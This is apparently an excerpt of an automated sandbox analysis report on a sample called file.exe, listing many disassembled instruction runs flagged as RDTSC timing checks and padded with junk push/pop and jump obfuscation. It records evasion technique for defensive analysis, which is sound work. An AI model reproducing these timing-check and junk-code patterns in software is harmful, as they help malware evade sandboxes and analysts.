Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 369D3D second address: 369D50 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jg 00007F6B2CB5B2DFh 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 369D50 second address: 369D54 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 36A05C second address: 36A0B9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F6B2CB5B2D1h 0x00000008 jmp 00007F6B2CB5B2D0h 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 pushad 0x00000012 push ebx 0x00000013 push ebx 0x00000014 pop ebx 0x00000015 pop ebx 0x00000016 push esi 0x00000017 jmp 00007F6B2CB5B2CFh 0x0000001c pop esi 0x0000001d popad 0x0000001e mov eax, dword ptr [esp+04h] 0x00000022 jnp 00007F6B2CB5B2CEh 0x00000028 jns 00007F6B2CB5B2C8h 0x0000002e mov eax, dword ptr [eax] 0x00000030 push eax 0x00000031 push edx 0x00000032 push ecx 0x00000033 jo 00007F6B2CB5B2C6h 0x00000039 pop ecx 0x0000003a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 36A27C second address: 36A282 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 36A282 second address: 36A2E5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b push 00000000h 0x0000000d push edi 0x0000000e call 00007F6B2CB5B2C8h 0x00000013 pop edi 0x00000014 mov dword ptr [esp+04h], edi 0x00000018 add dword ptr [esp+04h], 00000017h 0x00000020 inc edi 0x00000021 push edi 0x00000022 ret 0x00000023 pop edi 0x00000024 ret 0x00000025 mov dword ptr [ebp+122D2A1Ch], esi 0x0000002b mov ecx, dword ptr [ebp+122D373Ah] 0x00000031 push 00000004h 0x00000033 push 00000000h 0x00000035 push ebp 0x00000036 call 00007F6B2CB5B2C8h 0x0000003b pop ebp 0x0000003c mov dword ptr [esp+04h], ebp 0x00000040 add dword ptr [esp+04h], 0000001Dh 0x00000048 inc ebp 0x00000049 push ebp 0x0000004a ret 0x0000004b pop ebp 0x0000004c ret 0x0000004d push eax 0x0000004e push eax 0x0000004f push edx 0x00000050 push eax 0x00000051 push eax 0x00000052 push edx 0x00000053 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 36A2E5 second address: 36A2EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 36A731 second address: 36A738 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 36A82D second address: 36A83D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6B2C74806Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 36A83D second address: 36A84E instructions: 0x00000000 rdtsc 0x00000002 jng 00007F6B2CB5B2C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 36A84E second address: 36A85D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F6B2C748066h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push esi 0x0000000e pop esi 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 36AA9C second address: 36AAB4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6B2CB5B2D4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 36AAB4 second address: 36AB18 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b push 00000000h 0x0000000d push edi 0x0000000e call 00007F6B2C748068h 0x00000013 pop edi 0x00000014 mov dword ptr [esp+04h], edi 0x00000018 add dword ptr [esp+04h], 0000001Dh 0x00000020 inc edi 0x00000021 push edi 0x00000022 ret 0x00000023 pop edi 0x00000024 ret 0x00000025 sub edi, dword ptr [ebp+122D2BEDh] 0x0000002b lea eax, dword ptr [ebp+1247E5EDh] 0x00000031 mov edi, dword ptr [ebp+122D3AA0h] 0x00000037 nop 0x00000038 pushad 0x00000039 pushad 0x0000003a push eax 0x0000003b pop eax 0x0000003c jmp 00007F6B2C74806Ah 0x00000041 popad 0x00000042 jo 00007F6B2C748068h 0x00000048 pushad 0x00000049 popad 0x0000004a popad 0x0000004b push eax 0x0000004c push eax 0x0000004d push edx 0x0000004e pushad 0x0000004f push eax 0x00000050 pop eax 0x00000051 push edx 0x00000052 pop edx 0x00000053 popad 0x00000054 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 36AB18 second address: 36AB7F instructions: 0x00000000 rdtsc 0x00000002 ja 00007F6B2CB5B2D1h 0x00000008 jmp 00007F6B2CB5B2CBh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f nop 0x00000010 push 00000000h 0x00000012 push edi 0x00000013 call 00007F6B2CB5B2C8h 0x00000018 pop edi 0x00000019 mov dword ptr [esp+04h], edi 0x0000001d add dword ptr [esp+04h], 00000017h 0x00000025 inc edi 0x00000026 push edi 0x00000027 ret 0x00000028 pop edi 0x00000029 ret 0x0000002a mov dx, 02CAh 0x0000002e mov edx, dword ptr [ebp+122D180Bh] 0x00000034 lea eax, dword ptr [ebp+1247E5A9h] 0x0000003a call 00007F6B2CB5B2D7h 0x0000003f mov dx, DE7Fh 0x00000043 pop edi 0x00000044 nop 0x00000045 push eax 0x00000046 push edx 0x00000047 push ecx 0x00000048 push eax 0x00000049 push edx 0x0000004a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 36AB7F second address: 36AB84 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 36AB84 second address: 36ABB2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6B2CB5B2D7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F6B2CB5B2D0h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 398A81 second address: 398ADF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F6B2C748071h 0x0000000b popad 0x0000000c push esi 0x0000000d pushad 0x0000000e popad 0x0000000f pop esi 0x00000010 pushad 0x00000011 jmp 00007F6B2C748078h 0x00000016 push edi 0x00000017 pop edi 0x00000018 jmp 00007F6B2C74806Eh 0x0000001d push edi 0x0000001e pop edi 0x0000001f popad 0x00000020 popad 0x00000021 pushad 0x00000022 push eax 0x00000023 push edx 0x00000024 jmp 00007F6B2C748072h 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3239F2 second address: 3239F6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3239F6 second address: 3239FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3239FC second address: 323A1D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jbe 00007F6B2CB5B2D9h 0x0000000e jmp 00007F6B2CB5B2CDh 0x00000013 jne 00007F6B2CB5B2C6h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3A1EB6 second address: 3A1EC5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pushad 0x00000007 jc 00007F6B2C748066h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3A0DF7 second address: 3A0E16 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6B2CB5B2D8h 0x00000009 push edi 0x0000000a pop edi 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3A0F93 second address: 3A0F99 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3A0F99 second address: 3A0F9D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3A1214 second address: 3A121A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3A121A second address: 3A1220 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3A1220 second address: 3A1228 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3A09DD second address: 3A09EC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6B2CB5B2CBh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3A161A second address: 3A1620 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3A1620 second address: 3A162A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3A162A second address: 3A1634 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F6B2C748066h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3A1788 second address: 3A178E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3A63A6 second address: 3A63C3 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 jmp 00007F6B2C748077h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3A63C3 second address: 3A63C8 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3A63C8 second address: 3A63D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 jg 00007F6B2C748066h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3A6552 second address: 3A6558 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3A684D second address: 3A6852 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3A6996 second address: 3A69A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pushad 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 pushad 0x00000009 popad 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3A69A6 second address: 3A69C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6B2C748075h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3A69C6 second address: 3A69CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3A6B17 second address: 3A6B1B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3A6B1B second address: 3A6B34 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F6B2CB5B2C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jc 00007F6B2CB5B2C6h 0x00000011 pushad 0x00000012 popad 0x00000013 pushad 0x00000014 popad 0x00000015 popad 0x00000016 pushad 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3A6C6E second address: 3A6C89 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6B2C748070h 0x00000009 jbe 00007F6B2C748066h 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3A6C89 second address: 3A6C96 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 js 00007F6B2CB5B2C6h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3A6DEB second address: 3A6DF3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3A7068 second address: 3A706C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3A706C second address: 3A7072 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3A7072 second address: 3A7088 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6B2CB5B2D1h 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3A7740 second address: 3A7748 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3AA944 second address: 3AA948 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3AAA86 second address: 3AAA90 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F6B2C748066h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3AAA90 second address: 3AAAD2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F6B2CB5B2CCh 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e jp 00007F6B2CB5B2DDh 0x00000014 jmp 00007F6B2CB5B2D0h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3AD80B second address: 3AD80F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3AD80F second address: 3AD829 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6B2CB5B2D0h 0x00000007 jnc 00007F6B2CB5B2C6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3B32F8 second address: 3B3301 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push edi 0x00000006 push eax 0x00000007 pop eax 0x00000008 pop edi 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3B35C7 second address: 3B35DB instructions: 0x00000000 rdtsc 0x00000002 jp 00007F6B2CB5B2C6h 0x00000008 jne 00007F6B2CB5B2C6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3B37A1 second address: 3B37AD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3B37AD second address: 3B37C4 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F6B2CB5B2C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edx 0x0000000b jns 00007F6B2CB5B2C6h 0x00000011 pop edx 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3B3AF1 second address: 3B3B03 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6B2C74806Dh 0x00000009 pop ecx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 36A544 second address: 36A548 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 36A548 second address: 36A54E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 36A54E second address: 36A555 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 36A555 second address: 36A58D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 nop 0x00000008 push 00000000h 0x0000000a push edx 0x0000000b call 00007F6B2C748068h 0x00000010 pop edx 0x00000011 mov dword ptr [esp+04h], edx 0x00000015 add dword ptr [esp+04h], 00000016h 0x0000001d inc edx 0x0000001e push edx 0x0000001f ret 0x00000020 pop edx 0x00000021 ret 0x00000022 push 00000004h 0x00000024 mov cl, 90h 0x00000026 nop 0x00000027 pushad 0x00000028 js 00007F6B2C748068h 0x0000002e pushad 0x0000002f popad 0x00000030 push eax 0x00000031 push edx 0x00000032 pushad 0x00000033 popad 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 36A58D second address: 36A591 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 36A591 second address: 36A59D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 push ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3B3DC3 second address: 3B3DCC instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3B3DCC second address: 3B3DD1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3B484D second address: 3B4853 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3B7AD2 second address: 3B7ADB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3B72D8 second address: 3B72DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3B72DE second address: 3B72F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 jmp 00007F6B2C74806Eh 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3B72F3 second address: 3B730A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6B2CB5B2D3h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3B74B4 second address: 3B74DD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6B2C748074h 0x00000007 jmp 00007F6B2C748071h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3B74DD second address: 3B74E3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3B74E3 second address: 3B750B instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F6B2C748066h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f jmp 00007F6B2C74806Dh 0x00000014 jl 00007F6B2C748066h 0x0000001a pushad 0x0000001b popad 0x0000001c popad 0x0000001d pushad 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3B750B second address: 3B751A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 jno 00007F6B2CB5B2C6h 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3B751A second address: 3B754B instructions: 0x00000000 rdtsc 0x00000002 je 00007F6B2C748080h 0x00000008 jmp 00007F6B2C748078h 0x0000000d pushad 0x0000000e popad 0x0000000f pushad 0x00000010 ja 00007F6B2C748066h 0x00000016 js 00007F6B2C748066h 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3BC8EE second address: 3BC90A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6B2CB5B2D0h 0x00000007 jno 00007F6B2CB5B2CEh 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3BC90A second address: 3BC932 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 push eax 0x00000008 push edx 0x00000009 js 00007F6B2C748066h 0x0000000f jmp 00007F6B2C748079h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3BBAD0 second address: 3BBAEB instructions: 0x00000000 rdtsc 0x00000002 jo 00007F6B2CB5B2C6h 0x00000008 push eax 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007F6B2CB5B2CFh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3BBAEB second address: 3BBB31 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 js 00007F6B2C748066h 0x00000009 jmp 00007F6B2C74806Ch 0x0000000e jmp 00007F6B2C748075h 0x00000013 popad 0x00000014 jmp 00007F6B2C74806Bh 0x00000019 pop edx 0x0000001a pop eax 0x0000001b jne 00007F6B2C748078h 0x00000021 jo 00007F6B2C748072h 0x00000027 push eax 0x00000028 push edx 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3BBB31 second address: 3BBB37 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3BBC8D second address: 3BBC92 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3BBE0A second address: 3BBE10 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3BBE10 second address: 3BBE15 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3BC0C4 second address: 3BC0D6 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F6B2CB5B2C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jl 00007F6B2CB5B2CCh 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3C2D5F second address: 3C2D69 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F6B2C748066h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3C2ED1 second address: 3C2ED5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3C31D9 second address: 3C31DF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
